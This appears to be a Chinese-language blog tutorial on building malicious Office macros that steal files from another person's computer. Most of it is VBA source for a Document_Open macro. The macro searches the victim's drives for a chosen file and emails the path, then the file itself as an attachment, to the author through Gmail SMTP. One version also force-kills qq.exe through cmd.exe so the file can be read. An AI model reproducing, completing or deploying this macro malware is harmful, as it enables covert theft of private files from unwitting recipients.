使用OFFICE宏VBA编程搜索并邮寄文件

使用OFFICE宏VBA编程发送文件，分析一下可以分为三步，一是将含有宏的OFFICE文件（Word、Excel等）发给被别人，当他打开该文件时触发宏；二是搜索他的计算机，找到我们需要的文件；三是通过电子邮件将该文件作为附件发送给我们。

这里最重要的步骤是第一步，要将带宏的Word文档发送给别人，且他的宏安全性需要设置为低才行，这点很难做到，所以本方法可操作性很差。

第二步搜索对方的计算机查找文件，并将该文件的路径邮寄给自己，自动邮寄需要有一个GMAIL邮箱帐号作为发送方，可以上Google网站注册一个。代码如下：

Private Declare Function SearchTreeForFile Lib “ImageHlp.dll” (ByVal lpRoot As String, ByVal lpInPath As String, ByVal lpOutPath As String) As Long
Private Declare Function GetDriveType Lib “kernel32″ Alias “GetDriveTypeA” (ByVal nDrive As String) As Long

Function SearchFile(ByVal Filename As String) As String
Dim R As Long, i As Long, SearchPath As String
For i = 0 To 25
SearchPath = Chr$(i + 65) & “:\”
If GetDriveType(SearchPath) = 3 Then
SearchFile = String$(1024, 0)
R = SearchTreeForFile(SearchPath, Filename, SearchFile)
If R <> 0 Then SearchFile = Split(SearchFile, Chr(0))(0): Exit Function
End If
Next
SearchFile = “Can’t find it is this system”
End Function

Sub macro1()
Dim result As String
result = SearchFile(“要搜索的文件名，支持通配符”)

Dim iMsg As Object
Dim iConf As Object
Dim strbody As String
Dim Flds As Variant

Set iMsg = CreateObject(“CDO.Message”)
Set iConf = CreateObject(“CDO.Configuration”)

iConf.Load -1 ‘ CDO Source Defaults
Set Flds = iConf.Fields
With Flds
.Item(“http://schemas.microsoft.com/cdo/configuration/smtpusessl”) = True
.Item(“http://schemas.microsoft.com/cdo/configuration/smtpauthenticate”) = 1
.Item(“http://schemas.microsoft.com/cdo/configuration/sendusername”) = “你的GMAIL邮箱地址”
.Item(“http://schemas.microsoft.com/cdo/configuration/sendpassword”) = “你的GMAIL邮箱密码”
.Item(“http://schemas.microsoft.com/cdo/configuration/smtpserver”) = “smtp.gmail.com”

.Item(“http://schemas.microsoft.com/cdo/configuration/sendusing”) = 2
.Item(“http://schemas.microsoft.com/cdo/configuration/smtpserverport”) = 25
.Update
End With

strbody = “vba发送”

With iMsg
Set .Configuration = iConf
.To = “这里写你要发送到的邮箱地址”
.CC = “”
.BCC = “”
‘ Note: The reply address is not working if you use this Gmail example
‘ It will use your Gmail address automatic. But you can add this line
‘ to change the reply address .ReplyTo = “Reply@something.nl”
.From = “”"YourName”" ”
.Subject = “Important message”
.TextBody = result
.Send
End With
End Sub

‘ 这一步很重要 是在文档打开的时候执行上面的过程

Private Sub Document_Open()
Call macro1
End Sub

第三步就是将该文件作为附件邮寄给自己，也许你会奇怪，为什么上一步只邮寄路径而不直接邮寄文件，这是因为添加附件需要附件的路径，但是这个路径如果是绝对路径的话必须是常量，因此我们只有收到这个路径后将这个路径写到代码中，再发送一个文档给他。代码如下，和上一步发送邮件的代码差不多，只多一个附件参数。

Sub macro1()
Dim Kill
Set Kill = CreateObject(“wscript.shell”)
Kill.Run “cmd.exe /c taskkill /f /im qq.exe”

waitsec 10

‘ 这里有个关闭进程并等待10秒钟的代码，目的是有可能你要发送的文件正在被使用，需要把使用的进程关闭并等待一段时间让该文件的访问资源被释放，这样才能正常发送。如上面我关闭了qq.exe，你可以改成其它进程。这有个问题就是会弹出黑色的命令行窗口再消失，这个问题希望有朋友解决的话给我留言。

Dim iMsg As Object
Dim iConf As Object
Dim strbody As String
Dim Flds As Variant

Set iMsg = CreateObject(“CDO.Message”)
Set iConf = CreateObject(“CDO.Configuration”)

iConf.Load -1 ‘ CDO Source Defaults
Set Flds = iConf.Fields
With Flds
.Item(“http://schemas.microsoft.com/cdo/configuration/smtpusessl”) = True
.Item(“http://schemas.microsoft.com/cdo/configuration/smtpauthenticate”) = 1
.Item(“http://schemas.microsoft.com/cdo/configuration/sendusername”) = “你的GMAIL邮箱地址”
.Item(“http://schemas.microsoft.com/cdo/configuration/sendpassword”) = “你的GMAIL邮箱密码”
.Item(“http://schemas.microsoft.com/cdo/configuration/smtpserver”) = “smtp.gmail.com”

.Item(“http://schemas.microsoft.com/cdo/configuration/sendusing”) = 2
.Item(“http://schemas.microsoft.com/cdo/configuration/smtpserverport”) = 25
.Update
End With

strbody = “vba发送”

With iMsg
Set .Configuration = iConf
.To = “这里写你要发送到的邮箱地址”

.CC = “”
.BCC = “”
‘ Note: The reply address is not working if you use this Gmail example
‘ It will use your Gmail address automatic. But you can add this line
‘ to change the reply address .ReplyTo = “Reply@something.nl”
.From = “”"YourName”" ”
.Subject = “Important message”
.TextBody = result
.Addattachment “这里写之前收到的文件路径”
.Send
End With
End Sub

Private Sub waitsec(ByVal dS As Double)
Dim sTimer As Date
sTimer = Timer
Do
DoEvents
Loop While Format((Timer – sTimer), “0.00″) < dS
End Sub

Private Sub Document_Open()
Call macro1
End Sub